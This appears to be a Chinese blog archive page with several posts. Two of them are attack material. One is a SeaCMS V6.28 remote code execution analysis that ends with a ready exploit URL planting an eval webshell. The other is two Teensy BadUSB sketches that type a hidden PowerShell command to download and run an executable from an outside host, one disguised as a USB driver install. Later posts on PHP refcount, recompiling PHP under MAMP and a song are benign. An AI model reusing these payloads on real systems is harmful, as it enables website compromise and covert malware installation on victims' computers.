2016年8月

海洋CMS最新版本 V6.28 命令执行 0DAY

t00ls上一个朋友fuzz出了一个0day,但是分析不出来问题到底出在哪里,我分析了一下。

我是怎么追踪这个0day的呢?

其实只要追area参数处理过的地方就好了

经过字符是否非法判断之后,调用echoSearchPage()函数

area参数经过了检测是否是拼音之后

接下来到了

$content=$mainClassObj->parseSearchItemList($content,"area");

其实有个方法很简单,命令执行无非就是那么几个函数,eval(),system(),proc_open()之类的

因为能执行php代码一般就是eval()函数

搜索一下这个页面有eval函数的地方

        for($m=0;$m<$arlen;$m++){
            $strIf=$iar[1][$m];
            $strIf=$this->parseStrIf($strIf);
            $strThen=$iar[2][$m];
            $strThen=$this->parseSubIf($strThen);
            if (strpos($strThen,$labelRule2)===false){
                if (strpos($strThen,$labelRule3)>=0){
                    $elsearray=explode($labelRule3,$strThen);
                    $strThen1=$elsearray[0];
                    $strElse1=$elsearray[1];
                    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                    if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
                }else{
                @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
                if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
            }

可以在这里下个断点,把变量打印出来

就可以清晰的看到就是在这执行了我们的命令,当然函数不好追的话,还有一种方法就是自己写一个函数,再下断点,这样追起来比较方便。

exp:

/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

直接菜刀连接,密码cmd

Teensy powershell BadUSB木马下载者

Teensy BadUSB远程下载木马执行后自动退出,速度极快,用了一点小技巧

这个是一闪而过安装脚本

#define print Keyboard.println

void setup() { 
  win_press(KEY_R);
  print("cmd");//   
  press_once(KEY_ENTER);
  delay(500);
  print("powershell -windowstyle hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass Import-Module BitsTransfer;Start-BitsTransfer http://lonelyrain.me/1.exe \"$env:%TEMP%\\1.exe\";%TEMP%\\1.exe;")
  press_once(KEY_ENTER);
}

void loop() {
}

void press_once(unsigned InputCommand)
{
  Keyboard.press(InputCommand);
  Keyboard.release(InputCommand);
  delay(500);
  }

void alt_press(unsigned InputCommand)
{
  Keyboard.set_modifier(0); 
  Keyboard.set_key1(0); 
  Keyboard.send_now(); 
  Keyboard.set_modifier( KEY_LEFT_ALT ); 
  Keyboard.set_key1(InputCommand);
  Keyboard.send_now();
  }

void win_press(unsigned InputCommand)
{
  Keyboard.set_modifier(0); 
  Keyboard.set_key1(0); 
  Keyboard.send_now(); 
  Keyboard.set_modifier(128); 
  Keyboard.set_key1(InputCommand);
  Keyboard.send_now(); 
  delay(3000);
}

伪造U盘驱动安装

#define TEENSY2
#ifdef TEENSY2
    #include<usb_private.h>
#endif
#define print Keyboard.println

void setup() {
  wait_for_drivers(2000);
  make_sure_capslock_is_off();
  win_press(KEY_R);
  print("cmd /k mode con:cols=48 lines=9");//   
  press_once(KEY_ENTER);
  delay(500);
  print("powershell -windowstyle hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass Import-Module BitsTransfer;Start-BitsTransfer http://lonelyrain.me/1.exe \"$env:%TEMP%\\1.exe\";%TEMP%\\1.exe;$w=New-Object -ComObject WScript.Shell;$w.popup(\\\"USB Driver Installed Success!\\\",5,\\\"USB Driver Install\\\",65);");
  press_once(KEY_ENTER);
}

void loop() {
}

void press_once(unsigned InputCommand)
{
  Keyboard.press(InputCommand);
  Keyboard.release(InputCommand);
  delay(500);
  }

int ledkeys(void) {return int(keyboard_leds);}

  
bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}

void wait_for_drivers(int sleep)
{
  bool CapsLockTrap = is_caps_on();
  while(CapsLockTrap == is_caps_on())
{
    Keyboard.set_key1(KEY_CAPS_LOCK);
    Keyboard.send_now();
    delay(200);
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.send_now();
    delay(500);
    delay(sleep);
}
    Keyboard.set_key1(KEY_CAPS_LOCK);
    Keyboard.send_now();
    delay(200);
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.send_now();
    delay(500);
    delay(sleep);
}

void make_sure_capslock_is_off(void)
{
if (is_caps_on())
{
delay(500);
Keyboard.set_key1(KEY_CAPS_LOCK);
Keyboard.send_now();
delay(200);
delay(700);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
delay(700);
}
}

void win_press(unsigned InputCommand)
{
  Keyboard.set_modifier(0); 
  Keyboard.set_key1(0); 
  Keyboard.send_now(); 
  Keyboard.set_modifier(128); 
  Keyboard.set_key1(InputCommand);
  Keyboard.send_now(); 
  delay(3000);
}

Zval中的refcount问题

今天群里面的一位小伙伴问我关于PHP变量中refcount的问题,当时回答给他了,发现自己没注意到一个细节,记录下来。

什么是refcount

“zval结构体中有四个字段,其含义分别为:

属性名 含义 默认值
refcount__gc 表示引用计数 1
is_ref__gc 表示是否为引用 0
value 存储变量的值
type 变量具体的类型”

摘录来自: Reeze Xia. “TIPI: 深入理解PHP内核”。

refcount是php用来对zval变量引用次数技术的一个变量值。

它是一个计数器,用来保存有多少符号表有多少符号指向该zval。在变量生成时,其refcount=1,赋值操作$a = $b会令zval的refcount加1,zval的refcount如果减少到0,会释放该zval所占的内存空间。

问题是什么?

小伙伴原问题是为什么下面的计数会是3.
E0B61238BF90638ECF0A713DC1169A3D.jpg

因为照上面的说法zval $a在被赋值为100的时候应该为1,$b = $a 的时候应该再加1,那么debug_zval_dump()函数照理来说应该显示2,而不应该显示3。

当时我的回答是,初始化的时候值为1,赋值的时候再加1,赋值给$b的时候再加1,所以是3。
但是后来他提出,使用xdebug_zval_dump()出来refcount的值是2。
那么,我之前的答案就是错的,惭愧,学艺不精。

于是我找了一些资料来研究两个函数之间处理的差异。

下面就是差异的原因。

PHP's debug_zval_dump takes a variable as argument for analysis and is thus also bound to the same splitting rules as outlined earlier. This means that's not really well suited for dumping a zval's internal structure as it would always modify the zval. Besides adding 1 to the refcount field, it could also force a split resulting in unexpected output:

<?php
$a = 42;
debug_zval_dump($a);
?>

shows:

long(42) refcount(2)

Xdebug has a similar function to display a zval's internal data: xdebug_debug_zval. This function does requires not a variable to be passed as its argument, but instead requires a variable name to be passed in. With this, the manipulation of the zval is avoided and the proper values are shown:

<?php
$a = 42;
xdebug_debug_zval('a');
?>

which shows:

a: (refcount=1, is_ref=0)=42

所以单纯的$a的refcount=0,赋值操作会+1。

重新编译MAMP的PHP 踩坑

FE94B1093654FFE76CCAD0084AB36CCF.jpg

MAMP自带的PHP版本在编译的时候是没有加上--enable-debug选项的,于是我打算自己重新编译一下PHP方便自己在进行PHP扩展研究的时候可以用gdb来查看core dump文件。

首先使用MAMP中的php版本查看phpinfo()
得到了MAMP在编译时候的参数

--more--
并且在后面加上了--enable-debug选项

sudo './configure' '--with-mysql=mysqlnd' '--with-gd' '--with-jpeg-dir=/Applications/MAMP/Library' '--with-png-dir=/Applications/MAMP/Library' '--with-zlib' '--with-zlib-dir=/Applications/MAMP/Library' '--with-freetype-dir=/Applications/MAMP/Library' '--prefix=/Applications/MAMP/bin/php/php5.5.26' '--exec-prefix=/Applications/MAMP/bin/php/php5.5.26' '--sysconfdir=/Applications/MAMP/bin/php/php5.5.26/conf' '--with-config-file-path=/Applications/MAMP/bin/php/php5.5.26/conf' '--enable-ftp' '--enable-gd-native-ttf' '--with-bz2=/usr' '--with-ldap' '--with-mysqli=mysqlnd' '--with-t1lib=/Applications/MAMP/Library' '--enable-mbstring=all' '--with-curl=/Applications/MAMP/Library' '--enable-sockets' '--enable-bcmath' '--with-imap=shared,/Applications/MAMP/Library/lib/imap-2007f' '--enable-soap' '--with-kerberos' '--enable-calendar' '--with-pgsql=shared,/Applications/MAMP/Library/pg' '--enable-exif' '--with-libxml-dir=/usr/include' '--with-gettext=shared,/Applications/MAMP/Library' '--with-xsl=/Applications/MAMP/Library' '--with-pdo-mysql=mysqlnd' '--with-pdo-pgsql=shared,/Applications/MAMP/Library/pg' '--with-mcrypt=shared,/Applications/MAMP/Library' '--with-openssl' '--enable-zip' '--with-iconv=/Applications/MAMP/Library' '--enable-opcache' '--enable-cgi' '--enable-intl' '--with-icu-dir=/Applications/MAMP/Library' '--with-tidy=shared' '--enable-wddx' '--with-libexpat-dir=/Applications/MAMP/Library' --enable-debug

将重新下载的php对应版本新建了一个目录,解压在了以下的文件夹中

/Applications/MAMP/bin/php/php5.5.26/include/php

第一次使用上面的参数第一次编译报错:

configure: error: Cannot find OpenSSL's <evp.h>

brew link openssl --forece

再编译,又获得如下错误

configure: error: jpeglib.h not found

使用brew安装jpeglib

sudo brew install jpeglib

接下来又报错

configure: error: png.h not found
sudo brew install t1lib

报错

configure: error: Cannot locate header file libintl.h

用以下来解决

sudo brew install gettext

1) 安装 gettext:

brew install gettext

2) 编辑configure文件
将:

for i in $PHP_GETTEXT /usr/local /usr ; do

更改为:

for i in $PHP_GETTEXT /usr/local /usr /usr/local/opt/gettext; do

3)重新运行 ./configure

报错

configure: error: utf8_mime2text() has new signature, but U8T_CANONICAL is missing. This should not happen. Check config.log for additional information

安装

sudo brew install imap-uw

报错

configure: error: mcrypt.h not found. Please reinstall libmcrypt.

安装

sudo brew install libmcrypt

报错

configure: error: Cannot find libpq-fe.h. Please specify correct PostgreSQL installation path

安装

sudo brew install PostgreSQL

之后

sudo make && sudo make install

会报错找不到libxml/parse.h

改成

/usr/include/libxml2

安装iconv

sudo brew install homebrew/dupes/libiconv

在修复libiconv报错的时候,网上一篇文章写移动/use/lib/目录底下的libiconv.*移动到其他目录,替换刚刚安装的libiconv来交叉编译,结果刚移动系统就崩溃了。这个库应该是系统很多程序调用的库, 花了一晚上重装了个系统,打算明天用docker来装个PHP环境。

窦唯的无地自容

窦唯的这首歌很多年前听,今天又翻出来听。

大家都说黑豹成就了窦唯,窦唯的离开也毁了黑豹,黑豹自从窦唯离开之后一直在吃老本。

这个我还是挺赞同的,找了好久的窦唯版本的~

不过这首歌听着感觉很爽,哈哈。

现在已不是从前的我 :)

黑豹 - 無地自容.mp3